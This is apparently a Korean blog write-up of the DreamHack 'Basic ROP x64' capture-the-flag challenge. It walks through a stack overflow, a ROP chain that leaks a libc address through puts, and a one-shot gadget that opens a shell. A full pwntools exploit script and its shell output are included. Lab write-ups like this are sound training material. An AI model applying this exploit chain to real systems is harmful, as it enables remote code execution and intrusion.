vared
vared - Blog
vared
전체 방문자
오늘
어제
  • 분류 전체보기 (138)
    • Study (0)
    • Project (0)
    • Paper Review (0)
    • Tool (0)
    • WriteUp (124)
      • Root-me.org (44)
      • LOS_rubiya (32)
      • Webhacking.kr (21)
      • DreamHack (9)
      • XCZ.kr (8)
      • HackCTF (10)
    • Miscellaneous (0)
    • Forensic-CheatSheet (10)

블로그 메뉴

  • Category

공지사항

  • Forensic-CheatSheet 오픈

인기 글

태그

  • JavaScript
  • Artifacts
  • Digital Forensic
  • webhacking.kr
  • trim
  • iconcahce
  • sql injection
  • shellbag
  • File Execution
  • Digital-Forensic
  • Los
  • forensic artifacts
  • digital-forensics
  • forensic-cheatsheet
  • shellbag forensics
  • Windows Artifact
  • Thumbcache
  • LNK FIile
  • ssd

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
vared

vared - Blog

WriteUp/DreamHack

DreamHack : Basic ROP x64

2020. 11. 19. 14:06
Ubuntu 16.04
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

read 함수랑 write 함수가 있다.
이제 두 함수를 이용해서 system("/bin/sh") 를 실행해 보자.

시나리오는 다음과 같다.

먼저 write 함수를 이용해서 read의 GOT를 빼오고 libc_base 주소를 계산한다. 이후에 또 read 함수를 이용해서 write의 got에 system 함수의 주소를 적어주고, 그 인자를 주면된다. 인자는 /bin/sh 이다

64비트상에서는

PAYLOAD :

Dummy(64) + SFP(8) + Gadget(pppr) + Read_argv[1] + Read_argv[2] + Read_argv[3] + Read_addr + Gadget(pr) + system_argv[1] + System_addr

Read 함수를 이제 Write 함수의 GOT 에 써주기 위해서는 다음과 같은 형태여야 한다.

Read(0,Write_GOT,8)

이제 필요한 것들을 구해보자.

  1. Gadget

    pppr : 0x40087e

    pr : 0x400882

     --
       40087e:       41 5d                   pop    %r13
       400880:       41 5e                   pop    %r14
       400882:       41 5f                   pop    %r15
       400884:       c3                      retq
  2. /bin/sh 문자열을 찾는 방법이다.

vared_1804@DESKTOP-SGQOMCP:basic_rop_x64$ strings -tx libc.so.6 |grep "/bin/sh"
 18cd57 /bin/sh

**** 이거 하다가 가젯이 지시하는 메모리가 맞지 않아서 실패했다.

그래서 다른 가젯을 찾아보다가 OneShot gadget 에 대해서 알았는데 이걸 쓰는게 더 좋을 것 같다. 또 더 심플한 가젯을 위해 write를 사용하는 것 보다 puts 함수를 사용했다.

기본적인 구조는 같다.

from pwn import *

#context.log_level = "debug"

#p = process("./basic_rop_x64")
p = remote("host1.dreamhack.games",11257)
e = ELF("./basic_rop_x64")
libc = ELF("libc.so.6")

puts_plt = e.plt['puts']
puts_got = e.got['puts']
puts_addr = ""

pr_gadget = 0x400883

pay =""
#dummy
pay += "A"*64
pay += "B"*8
#write(1,read_got,8)
pay += p64(pr_gadget)
pay += p64(puts_got)
pay += p64(puts_plt)
pay += p64(e.symbols['main'])
p.sendline(pay)

p.recv(0x40)
for i in range(6):
    puts_addr = p.recv(1).encode("hex") + puts_addr
puts_addr = "0x"+puts_addr
print("Leaked PUTS Address! : "+puts_addr)

libc_base = int(puts_addr,16) - libc.symbols['puts']

onegadget = libc_base+0x45216

pay =  ""
pay += "A"*64
pay += "B"*8
pay += p64(onegadget)
p.sendline(pay)

p.interactive()
[+] Opening connection to host1.dreamhack.games on port 11257: Done
[*] '/mnt/d/OneDrive/Hacking/dreamHack/basic_rop_x64/basic_rop_x64'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/mnt/d/OneDrive/Hacking/dreamHack/basic_rop_x64/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Leaked PUTS Address! : 0x7f51b7c16690
[*] Switching to interactive mode

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$ ls
basic_rop_x64
flag
$ cat flag
DH{-----flag-----}[*]
저작자표시

'WriteUp > DreamHack' 카테고리의 다른 글

Dreamhack : csrf-1  (0) 2020.11.23
DreamHack : xss-1  (0) 2020.11.23
DreamHack : ssp_001  (0) 2020.11.19
DreamHack : ssp_000  (0) 2020.11.19
DreamHack : Sint  (0) 2020.11.19
    'WriteUp/DreamHack' 카테고리의 다른 글
    • Dreamhack : csrf-1
    • DreamHack : xss-1
    • DreamHack : ssp_001
    • DreamHack : ssp_000
    vared
    vared

    티스토리툴바